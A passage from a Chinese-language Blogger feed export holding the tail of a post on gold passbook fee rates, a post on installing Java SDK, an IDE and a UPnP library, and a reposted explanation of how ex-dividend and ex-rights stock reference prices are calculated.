&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;background-color: transparent; border-bottom-color: windowtext; border-bottom-style: solid; border-bottom-width: 1pt; border-left-color: windowtext; border-left-style: solid; border-left-width: 1pt; border-right-color: windowtext; border-right-style: solid; border-right-width: 1pt; border-top-color: rgb(224, 223, 227); border-top-style: initial; border-top-width: initial; padding-bottom: 0cm; padding-left: 5.4pt; padding-right: 5.4pt; padding-top: 0cm; width: 131.4pt;&quot; width=&quot;175&quot;&gt;&lt;div align=&quot;center&quot; class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0pt; margin-left: 0cm; margin-right: 0cm; margin-top: 0cm; text-align: center; vertical-align: top;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: 標楷體;&quot;&gt;9公斤(含)以上&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;&lt;td style=&quot;background-color: transparent; border-bottom-color: windowtext; border-bottom-style: solid; border-bottom-width: 1pt; border-left-color: rgb(224, 223, 227); border-left-style: initial; border-left-width: initial; border-right-color: windowtext; border-right-style: solid; border-right-width: 1pt; border-top-color: rgb(224, 223, 227); border-top-style: initial; border-top-width: initial; padding-bottom: 0cm; padding-left: 5.4pt; padding-right: 5.4pt; padding-top: 0cm; width: 90pt;&quot; width=&quot;120&quot;&gt;&lt;div align=&quot;center&quot; class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0pt; margin-left: 0cm; margin-right: 0cm; margin-top: 0cm; text-align: center; vertical-align: top;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: 標楷體;&quot;&gt;0.11%&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;background-color: transparent; border-bottom-color: windowtext; border-bottom-style: solid; border-bottom-width: 1pt; border-left-color: windowtext; border-left-style: solid; border-left-width: 1pt; border-right-color: windowtext; border-right-style: solid; border-right-width: 1pt; border-top-color: rgb(224, 223, 227); border-top-style: initial; border-top-width: initial; padding-bottom: 0cm; padding-left: 5.4pt; padding-right: 5.4pt; padding-top: 0cm; width: 131.4pt;&quot; width=&quot;175&quot;&gt;&lt;div align=&quot;center&quot; class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0pt; margin-left: 0cm; margin-right: 0cm; margin-top: 0cm; text-align: center; vertical-align: top;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: 標楷體;&quot;&gt;12公斤(含)以上&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;&lt;td style=&quot;background-color: transparent; border-bottom-color: windowtext; border-bottom-style: solid; border-bottom-width: 1pt; border-left-color: rgb(224, 223, 227); border-left-style: initial; border-left-width: initial; border-right-color: windowtext; border-right-style: solid; border-right-width: 1pt; border-top-color: rgb(224, 223, 227); border-top-style: initial; border-top-width: initial; padding-bottom: 0cm; padding-left: 5.4pt; padding-right: 5.4pt; padding-top: 0cm; width: 90pt;&quot; width=&quot;120&quot;&gt;&lt;div align=&quot;center&quot; class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0pt; margin-left: 0cm; margin-right: 0cm; margin-top: 0cm; text-align: center; vertical-align: top;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: 標楷體; letter-spacing: -0.5pt;&quot;&gt;0.13&lt;/span&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: 標楷體;&quot;&gt;%&lt;span style=&quot;letter-spacing: -0.5pt;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;background-color: transparent; border-bottom-color: windowtext; border-bottom-style: solid; border-bottom-width: 1pt; border-left-color: windowtext; border-left-style: solid; border-left-width: 1pt; border-right-color: windowtext; border-right-style: solid; border-right-width: 1pt; border-top-color: rgb(224, 223, 227); border-top-style: initial; border-top-width: initial; padding-bottom: 0cm; padding-left: 5.4pt; padding-right: 5.4pt; padding-top: 0cm; width: 131.4pt;&quot; width=&quot;175&quot;&gt;&lt;div align=&quot;center&quot; class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0pt; margin-left: 0cm; margin-right: 0cm; margin-top: 0cm; text-align: center; vertical-align: top;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: 標楷體;&quot;&gt;15公斤(含)以上&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;&lt;td style=&quot;background-color: transparent; border-bottom-color: windowtext; border-bottom-style: solid; border-bottom-width: 1pt; border-left-color: rgb(224, 223, 227); border-left-style: initial; border-left-width: initial; border-right-color: windowtext; border-right-style: solid; border-right-width: 1pt; border-top-color: rgb(224, 223, 227); border-top-style: initial; border-top-width: initial; padding-bottom: 0cm; padding-left: 5.4pt; padding-right: 5.4pt; padding-top: 0cm; width: 90pt;&quot; width=&quot;120&quot;&gt;&lt;div align=&quot;center&quot; class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0pt; margin-left: 0cm; margin-right: 0cm; margin-top: 0cm; text-align: center; vertical-align: top;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: 標楷體;&quot;&gt;0.15%&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;background-color: transparent; border-bottom-color: windowtext; border-bottom-style: solid; border-bottom-width: 1pt; border-left-color: windowtext; border-left-style: solid; border-left-width: 1pt; border-right-color: windowtext; border-right-style: solid; border-right-width: 1pt; border-top-color: rgb(224, 223, 227); border-top-style: initial; border-top-width: initial; padding-bottom: 0cm; padding-left: 5.4pt; padding-right: 5.4pt; padding-top: 0cm; width: 131.4pt;&quot; width=&quot;175&quot;&gt;&lt;div align=&quot;center&quot; class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0pt; margin-left: 0cm; margin-right: 0cm; margin-top: 0cm; text-align: center; vertical-align: top;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: 標楷體;&quot;&gt;18公斤(含)以上&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;&lt;td style=&quot;background-color: transparent; border-bottom-color: windowtext; border-bottom-style: solid; border-bottom-width: 1pt; border-left-color: rgb(224, 223, 227); border-left-style: initial; border-left-width: initial; border-right-color: windowtext; border-right-style: solid; border-right-width: 1pt; border-top-color: rgb(224, 223, 227); border-top-style: initial; border-top-width: initial; padding-bottom: 0cm; padding-left: 5.4pt; padding-right: 5.4pt; padding-top: 0cm; width: 90pt;&quot; width=&quot;120&quot;&gt;&lt;div align=&quot;center&quot; class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0pt; margin-left: 0cm; margin-right: 0cm; margin-top: 0cm; text-align: center; vertical-align: top;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: 標楷體;&quot;&gt;0.17%&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;background-color: transparent; border-bottom-color: windowtext; border-bottom-style: solid; border-bottom-width: 1pt; border-left-color: windowtext; border-left-style: solid; border-left-width: 1pt; border-right-color: windowtext; border-right-style: solid; border-right-width: 1pt; border-top-color: rgb(224, 223, 227); border-top-style: initial; border-top-width: initial; padding-bottom: 0cm; padding-left: 5.4pt; padding-right: 5.4pt; padding-top: 0cm; width: 131.4pt;&quot; width=&quot;175&quot;&gt;&lt;div align=&quot;center&quot; class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0pt; margin-left: 0cm; margin-right: 0cm; margin-top: 0cm; text-align: center; vertical-align: top;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: 標楷體;&quot;&gt;21公斤(含)以上&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;&lt;td style=&quot;background-color: transparent; border-bottom-color: windowtext; border-bottom-style: solid; border-bottom-width: 1pt; border-left-color: rgb(224, 223, 227); border-left-style: initial; border-left-width: initial; border-right-color: windowtext; border-right-style: solid; border-right-width: 1pt; border-top-color: rgb(224, 223, 227); border-top-style: initial; border-top-width: initial; padding-bottom: 0cm; padding-left: 5.4pt; padding-right: 5.4pt; padding-top: 0cm; width: 90pt;&quot; width=&quot;120&quot;&gt;&lt;div align=&quot;center&quot; class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0pt; margin-left: 0cm; margin-right: 0cm; margin-top: 0cm; text-align: center; vertical-align: top;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: 標楷體;&quot;&gt;0.19%&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;background-color: transparent; border-bottom-color: windowtext; border-bottom-style: solid; border-bottom-width: 1pt; border-left-color: windowtext; border-left-style: solid; border-left-width: 1pt; border-right-color: windowtext; border-right-style: solid; border-right-width: 1pt; border-top-color: rgb(224, 223, 227); border-top-style: initial; border-top-width: initial; padding-bottom: 0cm; padding-left: 5.4pt; padding-right: 5.4pt; padding-top: 0cm; width: 131.4pt;&quot; width=&quot;175&quot;&gt;&lt;div align=&quot;center&quot; class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0pt; margin-left: 0cm; margin-right: 0cm; margin-top: 0cm; text-align: center; vertical-align: top;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: 標楷體;&quot;&gt;24公斤(含)以上&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;&lt;td style=&quot;background-color: transparent; border-bottom-color: windowtext; border-bottom-style: solid; border-bottom-width: 1pt; border-left-color: rgb(224, 223, 227); border-left-style: initial; border-left-width: initial; border-right-color: windowtext; border-right-style: solid; border-right-width: 1pt; border-top-color: rgb(224, 223, 227); border-top-style: initial; border-top-width: initial; padding-bottom: 0cm; padding-left: 5.4pt; padding-right: 5.4pt; padding-top: 0cm; width: 90pt;&quot; width=&quot;120&quot;&gt;&lt;div align=&quot;center&quot; class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0pt; margin-left: 0cm; margin-right: 0cm; margin-top: 0cm; text-align: center; vertical-align: top;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: 標楷體;&quot;&gt;0.21%&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;background-color: transparent; border-bottom-color: windowtext; border-bottom-style: solid; border-bottom-width: 1pt; border-left-color: windowtext; border-left-style: solid; border-left-width: 1pt; border-right-color: windowtext; border-right-style: solid; border-right-width: 1pt; border-top-color: rgb(224, 223, 227); border-top-style: initial; border-top-width: initial; padding-bottom: 0cm; padding-left: 5.4pt; padding-right: 5.4pt; padding-top: 0cm; width: 131.4pt;&quot; width=&quot;175&quot;&gt;&lt;div align=&quot;center&quot; class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0pt; margin-left: 0cm; margin-right: 0cm; margin-top: 0cm; text-align: center; vertical-align: top;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: 標楷體;&quot;&gt;27公斤(含)以上&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;&lt;td style=&quot;background-color: transparent; border-bottom-color: windowtext; border-bottom-style: solid; border-bottom-width: 1pt; border-left-color: rgb(224, 223, 227); border-left-style: initial; border-left-width: initial; border-right-color: windowtext; border-right-style: solid; border-right-width: 1pt; border-top-color: rgb(224, 223, 227); border-top-style: initial; border-top-width: initial; padding-bottom: 0cm; padding-left: 5.4pt; padding-right: 5.4pt; padding-top: 0cm; width: 90pt;&quot; width=&quot;120&quot;&gt;&lt;div align=&quot;center&quot; class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0pt; margin-left: 0cm; margin-right: 0cm; margin-top: 0cm; text-align: center; vertical-align: top;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: 標楷體; letter-spacing: -0.5pt;&quot;&gt;0.22&lt;/span&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: 標楷體;&quot;&gt;%&lt;span style=&quot;letter-spacing: -0.5pt;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;background-color: transparent; border-bottom-color: windowtext; border-bottom-style: solid; border-bottom-width: 1pt; border-left-color: windowtext; border-left-style: solid; border-left-width: 1pt; border-right-color: windowtext; border-right-style: solid; border-right-width: 1pt; border-top-color: rgb(224, 223, 227); border-top-style: initial; border-top-width: initial; padding-bottom: 0cm; padding-left: 5.4pt; padding-right: 5.4pt; padding-top: 0cm; width: 131.4pt;&quot; width=&quot;175&quot;&gt;&lt;div align=&quot;center&quot; class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0pt; margin-left: 0cm; margin-right: 0cm; margin-top: 0cm; text-align: center; vertical-align: top;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: 標楷體;&quot;&gt;30公斤(含)以上&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;&lt;td style=&quot;background-color: transparent; border-bottom-color: windowtext; border-bottom-style: solid; border-bottom-width: 1pt; border-left-color: rgb(224, 223, 227); border-left-style: initial; border-left-width: initial; border-right-color: windowtext; border-right-style: solid; border-right-width: 1pt; border-top-color: rgb(224, 223, 227); border-top-style: initial; border-top-width: initial; padding-bottom: 0cm; padding-left: 5.4pt; padding-right: 5.4pt; padding-top: 0cm; width: 90pt;&quot; width=&quot;120&quot;&gt;&lt;div align=&quot;center&quot; class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0pt; margin-left: 0cm; margin-right: 0cm; margin-top: 0cm; text-align: center; vertical-align: top;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: 標楷體;&quot;&gt;0.23%&lt;span style=&quot;letter-spacing: -0.5pt;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;background-color: transparent; border-bottom-color: windowtext; border-bottom-style: solid; border-bottom-width: 1pt; border-left-color: windowtext; border-left-style: solid; border-left-width: 1pt; border-right-color: windowtext; border-right-style: solid; border-right-width: 1pt; border-top-color: rgb(224, 223, 227); border-top-style: initial; border-top-width: initial; padding-bottom: 0cm; padding-left: 5.4pt; padding-right: 5.4pt; padding-top: 0cm; width: 131.4pt;&quot; width=&quot;175&quot;&gt;&lt;div align=&quot;center&quot; class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0pt; margin-left: 0cm; margin-right: 0cm; margin-top: 0cm; text-align: center; vertical-align: top;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: 標楷體;&quot;&gt;50公斤(含)以上&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;&lt;td style=&quot;background-color: transparent; border-bottom-color: windowtext; border-bottom-style: solid; border-bottom-width: 1pt; border-left-color: rgb(224, 223, 227); border-left-style: initial; border-left-width: initial; border-right-color: windowtext; border-right-style: solid; border-right-width: 1pt; border-top-color: rgb(224, 223, 227); border-top-style: initial; border-top-width: initial; padding-bottom: 0cm; padding-left: 5.4pt; padding-right: 5.4pt; padding-top: 0cm; width: 90pt;&quot; width=&quot;120&quot;&gt;&lt;div align=&quot;center&quot; class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0pt; margin-left: 0cm; margin-right: 0cm; margin-top: 0cm; text-align: center; vertical-align: top;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: 標楷體;&quot;&gt;0.24%&lt;span style=&quot;letter-spacing: -0.5pt;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;background-color: transparent; border-bottom-color: windowtext; border-bottom-style: solid; border-bottom-width: 1pt; border-left-color: windowtext; border-left-style: solid; border-left-width: 1pt; border-right-color: windowtext; border-right-style: solid; border-right-width: 1pt; border-top-color: rgb(224, 223, 227); border-top-style: initial; border-top-width: initial; padding-bottom: 0cm; padding-left: 5.4pt; padding-right: 5.4pt; padding-top: 0cm; width: 131.4pt;&quot; width=&quot;175&quot;&gt;&lt;div align=&quot;center&quot; class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0pt; margin-left: 0cm; margin-right: 0cm; margin-top: 0cm; text-align: center; vertical-align: top;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: 標楷體;&quot;&gt;100公斤(含)以上&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;&lt;td style=&quot;background-color: transparent; border-bottom-color: windowtext; border-bottom-style: solid; border-bottom-width: 1pt; border-left-color: rgb(224, 223, 227); border-left-style: initial; border-left-width: initial; border-right-color: windowtext; border-right-style: solid; border-right-width: 1pt; border-top-color: rgb(224, 223, 227); border-top-style: initial; border-top-width: initial; padding-bottom: 0cm; padding-left: 5.4pt; padding-right: 5.4pt; padding-top: 0cm; width: 90pt;&quot; width=&quot;120&quot;&gt;&lt;div align=&quot;center&quot; class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0pt; margin-left: 0cm; margin-right: 0cm; margin-top: 0cm; text-align: center; vertical-align: top;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: 標楷體;&quot;&gt;0.25%&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
還有依些轉帳和轉成實體黃金的我就沒有看了，目前應該不回做這兩件事。&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
知道了遊戲規則後，接下來需要找看看有沒有公略了，先看看近幾年的趨勢吧，&lt;/div&gt;
&lt;div&gt;
下一篇應該會是我看趨勢的心得，加油不要半途而廢。&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #333333; font-family: 新細明體, 蘋果儷黑體, 微軟正黑體, Verdana, Arial, Helvetica, sans-serif;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 25px;&quot;&gt;[別人的投資心法]&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #333333; font-family: 新細明體, 蘋果儷黑體, 微軟正黑體, Verdana, Arial, Helvetica, sans-serif; font-size: 16px; line-height: 25px;&quot;&gt;每天除了固定看台銀網路黃金價格外，還上香港KITCO網站看以美元計價的黃金價格，以及近3日的黃金波動圖。透過這個網站公告的均價估算，大概可以知道下個營業日台灣的黃金價格，早一步洞燭機先，才能獲得更好的投資報酬率。&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://q110185.blogspot.com/feeds/6423070473802807201/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://q110185.blogspot.com/2011/09/start.html#comment-form' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2019105187187135566/posts/default/6423070473802807201'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2019105187187135566/posts/default/6423070473802807201'/><link rel='alternate' type='text/html' href='http://q110185.blogspot.com/2011/09/start.html' title='[黃金] 黃金存摺Start'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/05310173251418268102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2019105187187135566.post-8934618558183411760</id><published>2011-09-06T09:38:00.000-07:00</published><updated>2011-09-06T09:38:46.591-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="車載"/><title type='text'>cyber link upnp Api sdk</title><content type='html'>我簡略的整理如何安裝JAVA SE6.0 on Linux. 我有用過在SUSE Linux. 一般來說用Redhat 和SUSE是沒差.&lt;br /&gt;
&lt;br /&gt;
1. How to setup the Java SDK SE 6.0 on Linux and setup the free programming IDE (NetBeans)&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; a. 安裝完Linux,我比較建議初學者用GUI mode (KDE or GNOME).&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; b. Go to to the SUN to download newest JAVA SDK (SE 6.0 or higher) and NetBeans. 先install JAVA SDK喔.&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;    記得安裝Linux version的,或學弟們想在window上開發,也可以使用window版本.&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;     java SDK http://java.sun.com/javase/downloads/index.jsp&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;     NetBeans http://www.netbeans.org/index.html&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;     簡易的java programming guide http://java.sun.com/docs/books/tutorial/&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; c. SUN的網站有說明安裝步驟.　http://java.sun.com/javase/6/webnotes/install/jdk/install-linux.html&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; d.只要安裝了java SDK,則java code 就能在Linux上執行了.2. CyberLink for Java uPnP API- 包含了API與javadoc(API的使用說明)和sample code.&lt;br /&gt;
&lt;br /&gt;
http://www.cybergarage.org/net/upnp/java/index.html&lt;br /&gt;
&lt;br /&gt;
3. 把UPNP lib放入SDK and IRE,以後再說明.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1.一樣到 java SDK http://java.sun.com/javase/downloads/index.jsp &lt;br /&gt;
JDK 6 Update 3 =&amp;gt; Windows Platform - Java(TM) SE Development Kit 6 Update 3&lt;br /&gt;
&lt;br /&gt;
2.建議 java 開發工具用 eclipse &lt;br /&gt;
http://www.eclipse.org/   =&amp;gt; Langruage IDE =&amp;gt; JDT - Java Development Tools  &lt;br /&gt;
&lt;br /&gt;
3.CyberLink for Java uPnP API- 包含了API與javadoc(API的使用說明)和sample code.   &lt;br /&gt;
http://www.cybergarage.org/net/upnp/java/index.html&lt;br /&gt;
&lt;br /&gt;
4.裝其中一個套件 Apache Xerces , kXML2&lt;br /&gt;
選擇先用 &quot;Apache Xerces&quot; &lt;br /&gt;
&lt;br /&gt;
5. 帶入clink170.jar&lt;br /&gt;
project -&amp;gt; property -&amp;gt; javabuildpath -&amp;gt; Add Externel Jars</content><link rel='replies' type='application/atom+xml' href='http://q110185.blogspot.com/feeds/8934618558183411760/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://q110185.blogspot.com/2011/09/cyber-link-upnp-api-sdk.html#comment-form' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2019105187187135566/posts/default/8934618558183411760'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2019105187187135566/posts/default/8934618558183411760'/><link rel='alternate' type='text/html' href='http://q110185.blogspot.com/2011/09/cyber-link-upnp-api-sdk.html' title='cyber link upnp Api sdk'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/05310173251418268102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2019105187187135566.post-4864464688792556611</id><published>2011-09-05T22:25:00.000-07:00</published><updated>2011-09-05T23:08:41.785-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="財商"/><title type='text'>[股票]什麼是除權除息?</title><content type='html'>&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #585858; font-family: verdana, arial; font-size: 13px; line-height: 18px;&quot;&gt;轉貼自:&lt;/span&gt;&lt;a href=&quot;http://www.ipobar.com/read.php?tid-68746.html&quot;&gt;http://www.ipobar.com/read.php?tid-68746.html&lt;/a&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #585858; font-family: verdana, arial; font-size: 13px; line-height: 18px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: verdana, arial; font-size: 13px; line-height: 18px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #585858;&quot;&gt;【簡單說】：因應&lt;/span&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #585858;&quot;&gt;發放&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: red;&quot;&gt;股票股利&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #585858;&quot;&gt;或現增而向下調整股價就是&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: red;&quot;&gt;除權&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #585858;&quot;&gt;，&lt;/span&gt;&lt;b style=&quot;color: #585858;&quot;&gt;因應發放&lt;/b&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: red;&quot;&gt;現金股利&lt;/span&gt;&lt;/b&gt;&lt;b style=&quot;color: #585858;&quot;&gt;而向下調整股價就是&lt;/b&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: red;&quot;&gt;除息&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #585858;&quot;&gt;。&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: verdana, arial; font-size: 13px; line-height: 18px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #585858;&quot;&gt;除權或除息的產生係因為投資人在除權或除息日之前與當天購買者，兩者買到的是同一家公司的股票，但是內含的權益不同，顯然相當不公平。因此，必須在除權或除息日當天向下調整股價，成為除權或除息參考價。&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #585858;&quot;&gt;除息參考價&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #585858;&quot;&gt;為使除息前(含現金股利)與除息後所買到的價格一致，公司在發放現金股利時，將股票的價格，按照現金股利，予以同等金額的下降，此為除息參考價。&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #585858;&quot;&gt;除息日申報參考價 = 前一交易日收盤價 －現金股利金額&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #585858;&quot;&gt;例如:A公司決定於8月7日除息，發放現金股利3元。8月6日收盤價為50元，那麼在8月7日的開盤參考價將為(50－3)元，為47元。&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #585858;&quot;&gt;除權參考價的計算&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #585858;&quot;&gt;當公司發放股票股利時，流通在外的股數增多，但發放股票前後，公司整體價值不變，但股數增多了，所以在除權後，每股價值就會下降，成為除權參考價。&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #585858;&quot;&gt;除權參考價=前一交易日該股票收盤價／(1+配股率)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #585858;&quot;&gt;例如：B公司決定於7月15日發放股票股利五百股(即配股率為50%0。7月&lt;/span&gt;&lt;span style=&quot;color: #585858;&quot;&gt;&lt;a href=&quot;http://www.ipobar.com/list.php?f=2130&quot; style=&quot;color: blue; text-decoration: underline;&quot;&gt;14&lt;/a&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #585858;&quot;&gt;日的收盤價為150元。那麼在7月15日除權當天的參考價將為(150／1+0.5)=100元&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #585858;&quot;&gt;既除權又除息的參考價計算&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #585858;&quot;&gt;現在很多公司在發放股利時，會採取配股加配息的方式。其參考價的計算方法為：&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: red;&quot;&gt;除權又除息參考價=(前一交易日該股票收盤價－現金股利金額)／(1+配股率)&lt;/span&gt;&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://q110185.blogspot.com/feeds/4864464688792556611/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://q110185.blogspot.com/2011/09/blog-post.html#comment-form' title='1 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2019105187187135566/posts/default/4864464688792556611'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2019105187187135566/posts/default/4864464688792556611'/><link rel='alternate' type='text/html' href='http://q110185.blogspot.com/2011/09/blog-post.html' title='[股票]什麼是除權除息?'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/05310173251418268102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' 